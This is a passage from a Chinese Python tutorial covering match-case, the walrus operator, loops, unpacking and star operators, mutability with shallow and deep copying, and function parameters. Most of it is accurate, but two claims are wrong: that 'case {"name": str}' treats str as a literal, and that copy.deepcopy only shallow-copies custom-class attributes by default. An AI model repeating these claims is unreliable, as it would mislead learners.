    case (x, 0):
        print(f"在 x 轴上,x={x}")
    case (0, y):
        print(f"在 y 轴上,y={y}")
    case (x, y):
        print(f"坐标:({x}, {y})")

字典模式匹配(易错点)

# 匹配字典结构
data = {"name": "张三", "age": 18}
match data:
    case {"name": str(name), "age": int(age)}:
        print(f"{name},{age} 岁")  # 张三,18 岁
    case {"name": str(name)}:
        print(f"只有名字:{name}")

# ⚠️ 常见误解:
# case {"name": str}  → 这是匹配"键 name 存在且值为任意对象",不是"值必须是 str 类型"!
# 要检查类型,必须用 case {"name": str(name)} 捕获值,再判断类型
# 或者用守卫条件:
match data:
    case {"name": name, "age": age} if isinstance(name, str) and isinstance(age, int):
        print("类型正确")
match-case 注意事项
  • case {"name": str} 不是类型检查!它匹配的是"键存在且值为任意对象",str 在这里被当作一个字面量
  • 要检查类型,必须用捕获模式 case {"name": str(name)} 或守卫条件 if isinstance(...)
  • match-case 是 Python 3.10+,低版本不可用,没有官方 backport

7.6 海象运算符(:=,Python 3.8+)

海象运算符让你在表达式中同时计算和赋值,减少重复代码:

# 没有海象运算符——同一个计算要写两次
data = input("输入内容:")
if len(data) > 10:
    print(f"内容太长了,有 {len(data)} 个字符")  # len(data) 重复了

# 有海象运算符——只计算一次
if (n := len(data)) > 10:
    print(f"内容太长了,有 {n} 个字符")

# 在 while 循环中特别有用
# 传统写法(input 要写两遍)
line = input("输入(q退出):")
while line != "q":
    print(f"你输入了:{line}")
    line = input("输入(q退出):")

# 海象运算符写法(只写一遍)
while (line := input("输入(q退出):")) != "q":
    print(f"你输入了:{line}")

第八章:流程控制——循环语句

本章导览

如果上一章的条件语句是"十字路口选择方向",那循环语句就是"跑步机"——你设定好条件(跑 10 圈或跑到累),它就一直重复执行,直到条件满足才停下来。掌握循环,你就掌握了让程序自动重复干活的能力。

8.1 为什么需要循环?

想象你要打印 1 到 100 的所有数字。没有循环的话,你需要写 100 行 print 语句。有了循环,只需要 2 行:

# 没有循环(100 行代码)
print(1)
print(2)
print(3)
# ... 省略 94 行 ...
print(100)

# 有循环(2 行代码)
for i in range(1, 101):
    print(i)

Python 有两种循环:for 循环(遍历序列)和 while 循环(条件循环)。

8.2 for 循环——遍历序列

for 循环用于遍历一个序列中的每个元素。你可以把它理解为"对于序列中的每一个元素,执行以下操作"。

# 遍历列表
fruits = ["苹果", "香蕉", "橘子"]
for fruit in fruits:
    print(f"我喜欢{fruit}")
# 我喜欢苹果
# 我喜欢香蕉
# 我喜欢橘子

# 遍历字符串(逐字符)
for char in "Python":
    print(char, end=" ")  # P y t h o n

# 遍历字典
person = {"name": "张三", "age": 18, "city": "北京"}
for key, value in person.items():
    print(f"{key}: {value}")

# 遍历元组
for item in (10, 20, 30):
    print(item, end=" ")  # 10 20 30

# 遍历集合
for color in {"红", "绿", "蓝"}:
    print(color)  # 顺序不确定

range() 函数——生成数字序列

range() 生成一个数字序列,常和 for 配合使用,用来"重复执行 N 次":

# range(stop):从 0 到 stop-1(不含 stop)
for i in range(5):
    print(i, end=" ")  # 0 1 2 3 4

# range(start, stop):从 start 到 stop-1
for i in range(1, 6):
    print(i, end=" ")  # 1 2 3 4 5

# range(start, stop, step):带步长
for i in range(0, 10, 2):    # 每次加 2
    print(i, end=" ")  # 0 2 4 6 8

# 倒序(步长为负数)
for i in range(5, 0, -1):    # 每次减 1
    print(i, end=" ")  # 5 4 3 2 1

# 实际用法:重复执行 N 次
for _ in range(3):  # _ 表示"我不关心这个变量"
    print("重复三次")
# 重复三次
# 重复三次
# 重复三次

enumerate()——同时获取索引和值

fruits = ["苹果", "香蕉", "橘子"]

# 不用 enumerate 的写法(不推荐)
for i in range(len(fruits)):
    print(f"{i}: {fruits[i]}")

# 用 enumerate(推荐,更 Pythonic)
for i, fruit in enumerate(fruits):
    print(f"{i}: {fruit}")
# 0: 苹果
# 1: 香蕉
# 2: 橘子

# 指定起始编号
for i, fruit in enumerate(fruits, start=1):
    print(f"第{i}种:{fruit}")
# 第1种:苹果
# 第2种:香蕉
# 第3种:橘子

8.3 while 循环——条件循环

while 循环在条件为 True 时一直重复执行。适合"不知道要循环多少次"的场景。

# 基本 while
count = 0
while count < 5:
    print(count, end=" ")
    count += 1    # ⚠️ 必须有这行!否则死循环
# 输出:0 1 2 3 4

# ⚠️ 死循环(忘记更新条件变量)
# count = 0
# while count < 5:
#     print(count)  # 永远打印 0,因为 count 没有增加!

# while True + break(无限循环,手动退出)
import random
answer = random.randint(1, 100)
while True:
    guess = int(input("猜一个 1-100 的数字:"))
    if guess == answer:
        print("恭喜你猜对了!")
        break    # 跳出循环
    elif guess > answer:
        print("大了")
    else:
        print("小了")

8.4 break、continue 和 else

break——立即跳出整个循环

# break 跳出整个循环(不再执行后面的迭代)
for i in range(10):
    if i == 5:
        break        # 到 5 就停
    print(i, end=" ")
# 输出:0 1 2 3 4(没有 5,因为遇到 break 就停了)

# while 中的 break
count = 0
while True:
    if count >= 5:
        break
    print(count, end=" ")
    count += 1
# 输出:0 1 2 3 4

continue——跳过本次,进入下一次

# continue 跳过本次循环的剩余代码,直接进入下一次
for i in range(10):
    if i % 2 == 0:
        continue     # 跳过偶数
    print(i, end=" ")
# 输出:1 3 5 7 9(偶数被跳过了)

# 实际用法:跳过无效数据
data = [10, -5, 20, -3, 30, 0, 40]
for num in data:
    if num <= 0:
        continue     # 跳过负数和零
    print(num, end=" ")
# 输出:10 20 30 40

for-else / while-else

这是 Python 独有的语法,很多人不知道:

# else 在循环正常结束(没有被 break)时执行
for i in range(5):
    if i == 10:
        break
else:
    print("循环正常结束,没有 break")  # ✅ 会执行(因为没有 break)

# 实际用法:查找元素
numbers = [1, 3, 5, 7, 9]
target = 5
for num in numbers:
    if num == target:
        print(f"找到了 {target}")
        break
else:
    print(f"没找到 {target}")  # 如果没有 break(没找到),执行这里

8.5 嵌套循环

循环里面可以再套循环。外层循环每执行一次,内层循环完整执行一遍。

# 九九乘法表
for i in range(1, 10):
    for j in range(1, i + 1):
        print(f"{j}x{i}={i*j}", end="\t")
    print()  # 换行

# 打印三角形
n = 5
for i in range(1, n + 1):
    print(" " * (n - i) + "*" * (2 * i - 1))
#     *
#    ***
#   *****
#  *******
# *********

8.6 zip()——并行遍历多个序列

names = ["张三", "李四", "王五"]
scores = [90, 85, 95]
cities = ["北京", "上海", "广州"]

# zip 把多个序列"拉链式"配对
for name, score, city in zip(names, scores, cities):
    print(f"{name}来自{city},分数{score}")
# 张三来自北京,分数90
# 李四来自上海,分数85
# 王五来自广州,分数95

# ⚠️ zip 以最短的序列为准
a = [1, 2, 3, 4]
b = ["a", "b"]
print(list(zip(a, b)))  # [(1, 'a'), (2, 'b')](4 被丢弃了)

8.7 列表推导式 vs 生成器表达式

# 列表推导式——立即生成整个列表,占用内存
squares_list = [x**2 for x in range(1000000)]

# 生成器表达式——按需生成,几乎不占内存
squares_gen = (x**2 for x in range(1000000))

# 生成器只能遍历一次
print(next(squares_gen))  # 0
print(next(squares_gen))  # 1
常见错误总结
  • for 循环变量泄漏:for 循环结束后变量仍然存在,不要依赖循环外的循环变量
  • range() 左闭右开:range(1, 5) 是 1,2,3,4 不包含 5,新手最容易犯的错
  • 遍历时修改列表:不要在 for 循环中 remove 列表元素,会跳过元素,先复制一份或用列表推导式
  • while 忘记更新条件:while 循环必须在循环体内更新条件变量,否则死循环
  • break 和 continue 搞混:break 跳出整个循环,continue 跳过本次进入下一次
  • else 子句误解:for/while 的 else 是循环正常结束时执行,break 退出时不执行

第九章:解包与星号(*)运算符

本章导览

解包是 Python 中最具"优雅感"的语法特性之一。想象你收到一个包裹,里面装了三样东西——你不需要一件一件拿出来,而是"一抖",所有东西就整整齐齐地摆在桌上了。这就是解包:用一行代码把序列中的元素分配给多个变量。而星号 * 则是一个"万能工具"——它既能收集(把剩余的东西装进袋子),也能展开(把袋子里的东西倒出来)。掌握解包和星号运算符,你的代码会变得更简洁、更 Pythonic。

9.1 基本解包——一次性分配多个变量

什么是解包?

解包(Unpacking)是 Python 中一个非常优雅的语法特性,让你可以把一个序列中的元素一次性赋给多个变量。它的核心思想是:等号左边有多个变量,等号右边有相同数量的值,Python 会按顺序一一对应赋值。

生活类比

想象你去超市买了三个苹果,收银员说"请把袋子打开"——你一打开,三个苹果就自动滚出来,第一个到你的左手,第二个到右手,第三个到桌上。这就是解包:袋子(列表/元组)一打开,里面的元素就按顺序"跳"到对应的变量里。

# === 基本解包 ===
# 列表解包
a, b, c = [1, 2, 3]
print(a)  # 1
print(b)  # 2
print(c)  # 3
# 执行过程:
# 第1步:Python 检查左边有3个变量,右边有3个值
# 第2步:a = 1, b = 2, c = 3,按顺序一一对应
# 第3步:赋值完成

# 元组解包
x, y = (10, 20)
print(x)  # 10
print(y)  # 20
# 元组用小括号 () 包裹,解包方式和列表完全一样

# 字符串也可以解包
a, b, c = "ABC"
print(a)  # 'A'
print(b)  # 'B'
print(c)  # 'C'
# 字符串也是序列,每个字符就是一个元素

解包的严格要求——数量必须匹配

解包时,等号左边的变量个数必须和右边的元素个数完全相等。多一个或少一个都会报错:

# ❌ 变量太少 → ValueError: too many values to unpack
a, b = [1, 2, 3]
# 3个值,只有2个变量,Python 不知道第3个给谁

# ❌ 变量太多 → ValueError: not enough values to unpack
a, b, c, d = [1, 2, 3]
# 3个值,却有4个变量,第4个变量没有值可以赋

# ✅ 正确:数量一致
a, b, c = [1, 2, 3]  # 3个变量,3个值,完美匹配
常见错误:解包时数量不匹配

初学者最常犯的错误就是数错元素个数。建议:先数清楚右边有多少个元素,再写左边的变量。如果右边元素数量不确定,就用星号 * 来收集(下一节会讲)。

解包的实际应用场景

# 场景1:交换两个变量(不需要临时变量!)
a = 10
b = 20
a, b = b, a  # 右边先计算成元组 (20, 10),再解包
print(a)  # 20
print(b)  # 10
# 这是 Python 最优雅的交换方式,比其他语言的三行代码简洁多了

# 场景2:遍历字典时同时获取键和值
user = {"name": "张三", "age": 18, "city": "北京"}
for key, value in user.items():
    print(f"{key}: {value}")
# name: 张三
# age: 18
# city: 北京

# 场景3:遍历列表时同时获取索引和值
fruits = ["苹果", "香蕉", "橙子"]
for index, fruit in enumerate(fruits):
    print(f"第{index+1}个水果是{fruit}")
# 第1个水果是苹果
# 第2个水果是香蕉
# 第3个水果是橙子

# 场景4:函数返回多个值
def get_user_info():
    return "张三", 18, "北京"  # 实际返回一个元组

name, age, city = get_user_info()
print(f"{name},{age}岁,住在{city}")

9.2 星号(*)收集剩余元素——"我只要一部分,剩下的打包"

为什么需要星号收集?

有时候,你只关心序列的前几个或后几个元素,剩下的元素你不在乎。这时候用 * 变量来"收集"剩余的元素,就像用一个袋子把不要的东西装起来。

生活类比

想象你从快递箱里拆包裹:你知道第一个是手机,第二个是充电器,但剩下的配件你不确定有什么。你可以这样说:"第一个是手机,第二个是充电器,剩下的全部放袋子里。"这里的"袋子"就是 * 变量。

# *rest 收集剩余元素
first, *rest = [1, 2, 3, 4, 5]
print(first)  # 1
print(rest)   # [2, 3, 4, 5]  ← 剩余的元素全部收集到列表中
# 执行过程:
# 第1步:first = 1(第一个元素)
# 第2步:rest = [2, 3, 4, 5](剩余的所有元素打包成列表)

# 星号可以在任意位置
first, second, *middle, last = [1, 2, 3, 4, 5, 6, 7]
print(first)   # 1(第一个元素)
print(second)  # 2(第二个元素)
print(middle)  # [3, 4, 5, 6](中间的所有元素)
print(last)    # 7(最后一个元素)
# Python 的分配规则:先给没有星号的变量分配,最后剩余的给星号变量

# 星号变量收集到的永远是列表(即使只有一个元素)
a, *b = [1, 2]
print(a)  # 1
print(b)  # [2]  ← 注意:是列表 [2],不是数字 2

# 如果没有剩余元素,星号变量是空列表
a, *b = [1]
print(a)  # 1
print(b)  # []  ← 空列表,不是 None
实际应用场景

获取列表的第一个和最后一个元素:first, *_, last = data。其中 _ 是惯用的"丢弃"变量名,表示"中间的我不关心"。

data = [10, 20, 30, 40, 50]
first, *_, last = data
print(first)  # 10
print(last)   # 50
print(_)      # [20, 30, 40]  ← 中间的被丢弃了
重要规则:一个解包表达式中只能有一个星号
# ❌ 不能有两个星号
# a, *b, *c = [1, 2, 3, 4]  # SyntaxError: multiple starred

# ✅ 只能有一个星号
a, *b, c = [1, 2, 3, 4]  # a=1, b=[2,3], c=4

9.3 星号(*)展开序列——"把袋子里的东西倒出来"

收集 vs 展开——同一个符号,两种相反的操作

星号 * 有两个完全相反的功能:

生活类比

收集 = 你把散落的积木装进盒子(多个变一个)
展开 = 你把盒子里的积木倒出来(一个变多个)

# === 展开列表 ===
a = [1, 2, 3]
b = [4, 5, 6]
c = [*a, *b]
print(c)  # [1, 2, 3, 4, 5, 6]
# *a 把 [1,2,3] 展开成 1, 2, 3
# *b 把 [4,5,6] 展开成 4, 5, 6
# 最终效果等价于 [1, 2, 3, 4, 5, 6]

# 展开元组
t = (10, 20, 30)
print([*t, 40, 50])  # [10, 20, 30, 40, 50]

# 展开字符串(每个字符变成一个元素)
print([*"abc"])  # ['a', 'b', 'c']

# 展开集合(注意:集合是无序的,顺序可能不同)
s = {100, 200, 300}
combined = [0, *s, 999]
print(combined)  # [0, 100, 200, 300, 999]

# 展开 range 对象
print([*range(5), 100])  # [0, 1, 2, 3, 4, 100]

展开 vs 其他合并方式的对比

方式语法特点
加号 +a + b创建新列表,只能合并同类型
extenda.extend(b)修改原列表,只能用于列表
星号 *[*a, *b]创建新列表,可混合任意可迭代对象
# 星号展开的独特优势:可以混合不同类型的可迭代对象
lst = [1, 2]
tup = (3, 4)
st = {5, 6}
rng = range(7, 9)

# 用 + 号做不到的,星号可以
combined = [*lst, *tup, *st, *rng]
print(combined)  # [1, 2, 3, 4, 5, 6, 7, 8]

9.4 双星号(**)展开字典——字典的"解包"

双星号的作用

单星号 * 用于列表/元组,双星号 ** 用于字典。它把字典的键值对"展开",可以用来合并字典或传递关键字参数。

# === 合并字典 ===
defaults = {"color": "red", "size": 10, "font": "Arial"}
user_settings = {"color": "blue", "size": 14}

# ** 展开字典,后面的覆盖前面的
merged = {**defaults, **user_settings}
print(merged)
# {'color': 'blue', 'size': 14, 'font': 'Arial'}
# user_settings 的 "color" 和 "size" 覆盖了 defaults 中的同名键

# 向字典添加新键
config = {**defaults, "theme": "dark", "lang": "zh"}
print(config)
# {'color': 'red', 'size': 10, 'font': 'Arial', 'theme': 'dark', 'lang': 'zh'}

# 等价写法(Python 3.9+ 可以用 | 运算符)
merged2 = defaults | user_settings  # Python 3.9+
合并字典时的覆盖规则

当两个字典有相同的键时,后面的字典的值会覆盖前面的。这个规则和 CSS 的层叠类似——后声明的样式优先级更高。

base = {"a": 1, "b": 2}
override = {"b": 99, "c": 3}
result = {**base, **override}
print(result)  # {'a': 1, 'b': 99, 'c': 3}
# "b" 被 override 的值覆盖了

9.5 函数参数中的解包——让列表/字典"变身"为参数

星号展开列表作为位置参数

当函数需要多个位置参数,而你恰好有一个列表时,用 * 把列表展开:

def add(a, b, c):
    return a + b + c

nums = [1, 2, 3]
# 不用解包的写法
print(add(nums[0], nums[1], nums[2]))  # 6(繁琐!)

# 用解包的写法
print(add(*nums))  # 6(简洁!)
# *nums 把 [1, 2, 3] 展开成 1, 2, 3
# 等价于 add(1, 2, 3)

双星号展开字典作为关键字参数

def greet(name, age, city):
    print(f"{name},{age}岁,来自{city}")

info = {"name": "张三", "age": 18, "city": "北京"}

# 不用解包的写法
greet(name=info["name"], age=info["age"], city=info["city"])  # 繁琐!

# 用解包的写法
greet(**info)  # 简洁!
# **info 把字典展开成 name="张三", age=18, city="北京"
# 等价于 greet(name="张三", age=18, city="北京")
实战技巧:用解包调用其他函数
def original_func(a, b, c, d):
    print(f"a={a}, b={b}, c={c}, d={d}")

# 包装函数:接收参数后原样传递
def wrapper(*args, **kwargs):
    print("调用前做一些事情...")
    original_func(*args, **kwargs)  # 展开后传递
    print("调用后做一些事情...")

wrapper(1, 2, c=3, d=4)
# 调用前做一些事情...
# a=1, b=2, c=3, d=4
# 调用后做一些事情...
常见错误总结
  • 解包数量不匹配:变量和值的数量必须一致(除非用星号)
  • 忘记星号收集的是列表:*b = [2] 中 b 是列表 [2],不是数字 2
  • 多个星号:一个表达式中只能有一个星号变量
  • 混淆收集和展开:等号左边是收集,等号右边是展开

第十章:可变与不可变 + 深浅拷贝

本章导览

本章是 Python 中最容易让人困惑、也是最常考的知识点之一。很多初学者会遇到"诡异"的 bug:明明修改了变量 b,变量 a 也跟着变了!理解可变与不可变、赋值与拷贝的区别,这些 bug 就会迎刃而解。本章会用大量的图解和生活类比来帮你彻底搞懂。

10.1 可变 vs 不可变——"能不能原地修改"

什么是可变?什么是不可变?

Python 中的每个对象都有一个属性:能不能被"原地修改"。这就是可变和不可变的区别:

生活类比

不可变 = 你在石头上刻字。刻完之后,如果想改内容,只能找一块新石头重新刻。原来的石头不变。
可变 = 你在白板上写字。写完之后,擦掉重写就行,白板还是那块白板。

不可变
int, float, str, bool, tuple, frozenset, bytes——创建后不能修改。"修改"其实是创建了新对象。
可变
list, dict, set, bytearray——创建后可以修改内容,内存地址不变。
# === 不可变类型示例:str ===
s = "hello"
print(id(s))         # 假设是 140234866534128(内存地址)
s = s + " world"
print(id(s))         # 变了!是新的对象 140234866534208
# s + " world" 并没有修改原来的 "hello"
# 而是创建了一个新的字符串 "hello world",然后让 s 指向它
# 原来的 "hello" 如果没有其他变量引用,就会被垃圾回收

# === 可变类型示例:list ===
lst = [1, 2, 3]
print(id(lst))       # 假设是 140234866501120
lst.append(4)
print(id(lst))       # 没变!还是 140234866501120
# append 是原地修改,列表还是那个列表,只是内容多了

为什么要区分可变和不可变?

因为这直接影响到赋值和函数传参的行为。如果一个变量是不可变类型,你不用担心它被"意外修改";但如果是可变类型,就要小心了——多个变量可能指向同一个对象,修改一个会影响另一个。

如何判断一个类型是可变还是不可变?

# 用 id() 函数来检测
# 如果操作前后 id 不变 → 可变
# 如果操作前后 id 变了 → 不可变(创建了新对象)

# 测试 int(不可变)
x = 10
print(id(x))     # 140234866534000
x += 1
print(id(x))     # 变了!140234866534032

# 测试 list(可变)
lst = [1, 2, 3]
print(id(lst))   # 140234866501120
lst.append(4)
print(id(lst))   # 没变!140234866501120

# 测试 tuple(不可变)
t = (1, 2, 3)
print(id(t))     # 140234866501200
# t.append(4)    # ❌ AttributeError: 'tuple' object has no attribute 'append'
t = t + (4,)     # 创建新元组
print(id(t))     # 变了!
注意:不可变容器中的可变元素

元组本身是不可变的,但如果元组里包含了可变对象(如列表),那个可变对象仍然可以修改:

t = (1, 2, [3, 4])
print(id(t))          # 不变
# t[0] = 99           # ❌ TypeError: tuple 不支持元素赋值
t[2].append(5)        # ✅ 列表可以修改!
print(t)              # (1, 2, [3, 4, 5])
print(id(t))          # 还是同一个元组对象

10.2 赋值的本质——"贴标签",不是"复制"

Python 的变量是什么?

在 Python 中,变量不是盒子,而是标签。赋值操作不是把数据"装进"变量里,而是让变量"贴"到一个对象上。

生活类比

想象一堆文件(对象)放在桌上。变量就是贴在文件上的便利贴。
a = [1, 2, 3] = 在列表 [1,2,3] 上贴一张写有 "a" 的便利贴
b = a = 在同一个列表上再贴一张写有 "b" 的便利贴(不是复制文件!)
现在 a 和 b 都指向同一个文件。修改文件的内容,两个便利贴看到的都会变。

# 赋值是引用(贴标签)
a = [1, 2, 3]        # a 指向列表 [1, 2, 3]
b = a                 # b 也指向同一个列表(贴了第二张标签)

b.append(4)           # 通过 b 修改了列表
print(a)              # [1, 2, 3, 4]  ← a 也变了!因为是同一个对象
print(a is b)         # True  ← is 检查是否是同一个对象
print(a == b)         # True  == 检查值是否相等
print(id(a) == id(b)) # True  ← 内存地址相同

# 图解:
# 赋值前:  a → [1, 2, 3]
# 赋值后:  a → [1, 2, 3] ← b     (两个标签贴在同一对象上)
# b.append(4) 后:
#           a → [1, 2, 3, 4] ← b  (修改了对象本身,两个标签看到的内容都变了)
经典陷阱:函数默认参数是可变对象

这是 Python 最著名的"坑"之一。默认参数在函数定义时只计算一次,而不是每次调用时都重新计算。

# ❌ 错误写法
def add_item(item, lst=[]):
    """将 item 添加到 lst 中"""
    lst.append(item)
    return lst

print(add_item(1))  # [1]
print(add_item(2))  # [1, 2]  ← 期望是 [2],但默认列表被共享了!
print(add_item(3))  # [1, 2, 3]

# 为什么会这样?
# 函数定义时,默认参数 lst=[] 只创建一次
# 每次调用 add_item() 不传 lst 参数时,都使用同一个列表对象
# 所以每次 append 都在修改同一个列表

# ✅ 正确写法:用 None 作为默认值
def add_item_fixed(item, lst=None):
    if lst is None:
        lst = []    # 每次调用都创建新列表
    lst.append(item)
    return lst

print(add_item_fixed(1))  # [1]
print(add_item_fixed(2))  # [2]  ← 正确!每次都是独立的列表
安全法则:永远不要用可变对象作为默认参数

记住这条规则:函数的默认参数,如果需要可变对象,用 None 作为默认值,在函数体内创建。这是 Python 社区的最佳实践。

10.3 浅拷贝 vs 深拷贝——"复制的深度"

三种"复制"方式的区别

当你需要复制一个对象时,Python 提供了三种方式,它们的"复制深度"不同:

银行账户类比

赋值 = 两个人共用一张银行卡(一方花钱,另一方的余额也变)——根本没有复制
浅拷贝 = 复印了一张银行卡(卡号不同,但账户里的钱还是同一份)——只复制了外壳
深拷贝 = 开了一个全新的银行账户,把钱也转过去了——完全独立的副本

import copy

# ========================================
# 赋值:不是拷贝,只是多了一个标签
# ========================================
a = [1, 2, [3, 4]]
b = a                    # b 和 a 指向同一个列表

b[0] = 99                # 修改 b 的第一个元素
print(a)                 # [99, 2, [3, 4]]  ← a 也变了!
print(b)                 # [99, 2, [3, 4]]
print(a is b)            # True  ← 是同一个对象

# ========================================
# 浅拷贝:只拷贝第一层
# ========================================
a = [1, 2, [3, 4]]
b = a.copy()             # 浅拷贝(也可以用 copy.copy(a) 或 a[:])

b[0] = 99                # 修改 b 的第一个元素
print(a)                 # [1, 2, [3, 4]]  ← a 的第一层没变!
print(b)                 # [99, 2, [3, 4]]
print(a is b)            # False  ← 是不同的对象

# 但是!嵌套的子列表还是共享的!
b[2].append(5)           # 修改 b 的子列表
print(a)                 # [1, 2, [3, 4, 5]]  ← a 的子列表也变了!
print(b)                 # [99, 2, [3, 4, 5]]
print(a[2] is b[2])      # True  ← 子列表是同一个对象!

# 图解浅拷贝:
# a → [1, 2, [3, 4]]  ←  a[2] 指向子列表 [3, 4]
# b → [99, 2, [3, 4]] ←  b[2] 也指向同一个子列表 [3, 4]

# ========================================
# 深拷贝:完全独立的副本
# ========================================
a = [1, 2, [3, 4]]
b = copy.deepcopy(a)     # 深拷贝

b[2].append(5)           # 修改 b 的子列表
print(a)                 # [1, 2, [3, 4]]  ← a 完全不受影响!
print(b)                 # [1, 2, [3, 4, 5]]
print(a[2] is b[2])      # False  ← 子列表也是不同的对象

图解:赋值 vs 浅拷贝 vs 深拷贝

# 原始数据:a = [1, 2, [3, 4]]

# === 赋值 b = a ===
# 内存中只有 1 个列表对象
# a ──→ [1, 2, [3, 4]] ←── b
# 修改 b[0] → a[0] 也变了

# === 浅拷贝 b = a.copy() ===
# 内存中有 2 个列表对象,但子列表共享
# a ──→ [1, 2, ──→ [3, 4]]
# b ──→ [1, 2, ──→ [3, 4]]  ← 子列表指向同一个对象
# 修改 b[0] → a[0] 不变 ✅
# 修改 b[2].append(5) → a[2] 也变了 ❌

# === 深拷贝 b = copy.deepcopy(a) ===
# 内存中有 2 个列表对象,子列表也是独立的
# a ──→ [1, 2, ──→ [3, 4]]
# b ──→ [1, 2, ──→ [3, 4]]  ← 子列表是不同的对象
# 修改 b[0] → a[0] 不变 ✅
# 修改 b[2].append(5) → a[2] 不变 ✅

各种拷贝方式总结

方式语法拷贝深度适用场景
赋值b = a不拷贝,只是引用需要多个变量指向同一对象
浅拷贝a.copy()只拷贝第一层列表中没有嵌套可变对象
浅拷贝a[:]只拷贝第一层列表切片
浅拷贝list(a)只拷贝第一层构造新列表
浅拷贝copy.copy(a)只拷贝第一层通用浅拷贝
深拷贝copy.deepcopy(a)完全独立的副本列表中有嵌套可变对象
自定义对象的深拷贝

copy.deepcopy() 对内置类型(list、dict 等)自动生效,但对自定义类,它默认浅拷贝所有属性。如果你的类包含需要深拷贝的属性,需要实现 __deepcopy__ 方法:

import copy

class Config:
    def __init__(self, data):
        self.data = data  # data 是一个 dict

    def __deepcopy__(self, memo):
        # memo 是深拷贝的缓存,防止循环引用
        new = Config.__new__(Config)
        new.data = copy.deepcopy(self.data, memo)  # 手动深拷贝
        return new

c1 = Config({"key": [1, 2, 3]})
c2 = copy.deepcopy(c1)
c2.data["key"].append(99)
print(c1.data)  # {'key': [1, 2, 3]} ← 不受影响

这也是为什么第 15 章讲面向对象时会再次讨论深拷贝——理解对象的拷贝行为是 OOP 的重要基础。

什么时候用深拷贝?什么时候用浅拷贝?
  • 浅拷贝够用:列表中的元素都是不可变类型(数字、字符串、元组等)
  • 必须深拷贝:列表中嵌套了可变对象(如子列表、字典等),且你不希望修改相互影响
  • 深拷贝有性能开销:对于大型嵌套结构,深拷贝会递归复制所有对象,比较慢
常见错误总结
  • 误以为赋值是拷贝:b = a 不是复制,只是多了一个标签
  • 浅拷贝后修改嵌套对象:以为完全独立了,其实子对象还是共享的
  • 函数默认参数用可变对象:这是最经典的坑,用 None 代替
  • 混淆 == 和 is:== 比较值,is 比较是否同一个对象

第十一章:函数基础

本章导览

函数是编程的"积木块"。就像乐高积木一样,你可以把一个个小函数组合起来,搭建出复杂的程序。本章会从零开始讲解函数的定义、参数、返回值和作用域——这些都是写 Python 代码的基石。

11.1 什么是函数?——"有名字的代码块"

为什么需要函数?

想象你每天都要给10个朋友发"早安"消息。不用函数的话,你要写10行几乎相同的代码。有了函数,你只需要写一次,然后调用10次。

生活类比

函数就像一台榨汁机:你放进去水果(参数),它吐出果汁(返回值)。你不需要知道榨汁机内部怎么运作,只需要知道"放苹果进去,苹果汁出来"。

或者像一个自动售货机:你投入硬币(参数),按下按钮(调用函数),商品掉出来(返回值)。售货机内部的机制对你来说是"黑盒"。

# 定义函数
def greet(name):
    """向某人打招呼(这是 docstring,用来说明函数功能)"""
    print(f"你好,{name}!")

# 调用函数
greet("张三")   # 你好,张三!
greet("李四")   # 你好,李四!
# greet 被调用了两次,每次传入不同的参数,执行相同的逻辑

# 不用函数的写法(重复代码)
print("你好,张三!")
print("你好,李四!")
# 如果要改问候语,每个地方都要改 → 维护噩梦

函数的组成部分

def 函数名(参数):
    """文档字符串(说明函数做什么)"""
    函数体(执行的代码)
    return 返回值

# 示例:
def add(a, b):        # def 是关键字,add 是函数名,a 和 b 是参数
    """返回两个数的和"""  # 文档字符串(可选但推荐)
    result = a + b     # 函数体
    return result      # 返回值

# 调用
total = add(3, 5)     # 传入参数 3 和 5,得到返回值 8
print(total)           # 8
函数命名规范
  • 使用小写字母和下划线:get_user_name,不要用 GetUserName
  • 名字要有意义:calculate_area,不要用 calc 或 func1
  • 动词开头:get_xxx、set_xxx、is_xxx、calculate_xxx

11.2 参数类型——"函数的入口"

位置参数——最基础的参数

位置参数就是按顺序传入的参数。调用时,第一个值给第一个参数,第二个值给第二个参数,以此类推。

# 按顺序传入
def introduce(name, age):
    print(f"我叫{name},今年{age}岁")

introduce("张三", 18)      # 我叫张三,今年18岁
introduce(18, "张三")       # ❌ 语义错误!顺序反了,变成"我叫18,今年张三岁"

# 位置参数必须按顺序传递
def power(base, exponent):
    return base ** exponent

print(power(2, 10))    # 1024  (2的10次方)
print(power(10, 2))    # 100   (10的2次方)
# 顺序不同,结果完全不同!

关键字参数——用名字指定

关键字参数让你可以用"参数名=值"的方式传递,这样顺序就不重要了。

# 用名字指定,顺序无所谓
introduce(age=18, name="张三")  # ✅ 正确:我叫张三,今年18岁

# 混合使用:位置参数在前,关键字参数在后
introduce("张三", age=18)       # ✅ 正确
# introduce(name="张三", 18)    # ❌ SyntaxError: 关键字参数必须在后面

默认参数——参数有默认值

如果某个参数大部分时候都用同一个值,可以给它设一个默认值。调用时可以不传这个参数。

# 参数有默认值,调用时可以不传
def greet(name, greeting="你好"):
    print(f"{greeting},{name}!")

greet("张三")              # 你好,张三!(使用默认值 "你好")
greet("张三", "早上好")     # 早上好,张三!(传入自定义值)

# ⚠️ 默认参数必须放在位置参数后面
def good(a, b, c=10):     # ✅ c 有默认值,放在最后
    pass

# def bad(a=1, b):        # ❌ SyntaxError: 非默认参数在默认参数后面
#     pass
经典陷阱:默认参数是可变对象

不要用列表、字典等可变对象作为默认参数!(详见第十章)

# ❌ 错误写法
def append_to(item, lst=[]):
    lst.append(item)
    return lst

print(append_to(1))  # [1]
print(append_to(2))  # [1, 2]  ← 期望是 [2]!

# ✅ 正确写法
def append_to(item, lst=None):
    if lst is None:
        lst = []
    lst.append(item)
    return lst

仅限位置参数(Python 3.8+)——强制用位置传递

# / 之前的参数只能用位置传递,不能用关键字
def func(a, b, /, c, d):
    print(a, b, c, d)

func(1, 2, 3, 4)           # ✅ 全部位置
func(1, 2, c=3, d=4)       # ✅ a,b 用位置,c,d 用关键字
# func(a=1, b=2, c=3, d=4) # ❌ TypeError: a 只能用位置传递

# 为什么要用这个功能?
# 当参数名可能和关键字冲突时,强制用位置更安全
def len(s, /):              # s 必须用位置传递
    return s.__len__()

仅限关键字参数——强制用关键字传递

# * 之后的参数必须用关键字传递
def func(a, b, *, c, d):
    print(a, b, c, d)

func(1, 2, c=3, d=4)       # ✅
# func(1, 2, 3, 4)          # ❌ TypeError: c 必须用关键字传递

# 为什么要用这个功能?
# 当有很多参数时,强制用关键字可以避免搞混顺序
def create_user(name, age, *, email, phone):
    print(f"{name}, {age}, {email}, {phone}")

create_user("张三", 18, email="a@b.com", phone="123")  # ✅ 清晰明了

参数规则的完整顺序

# 完整的参数顺序:
# 位置参数 → / → 普通参数 → *args → 仅限关键字参数 → **kwargs

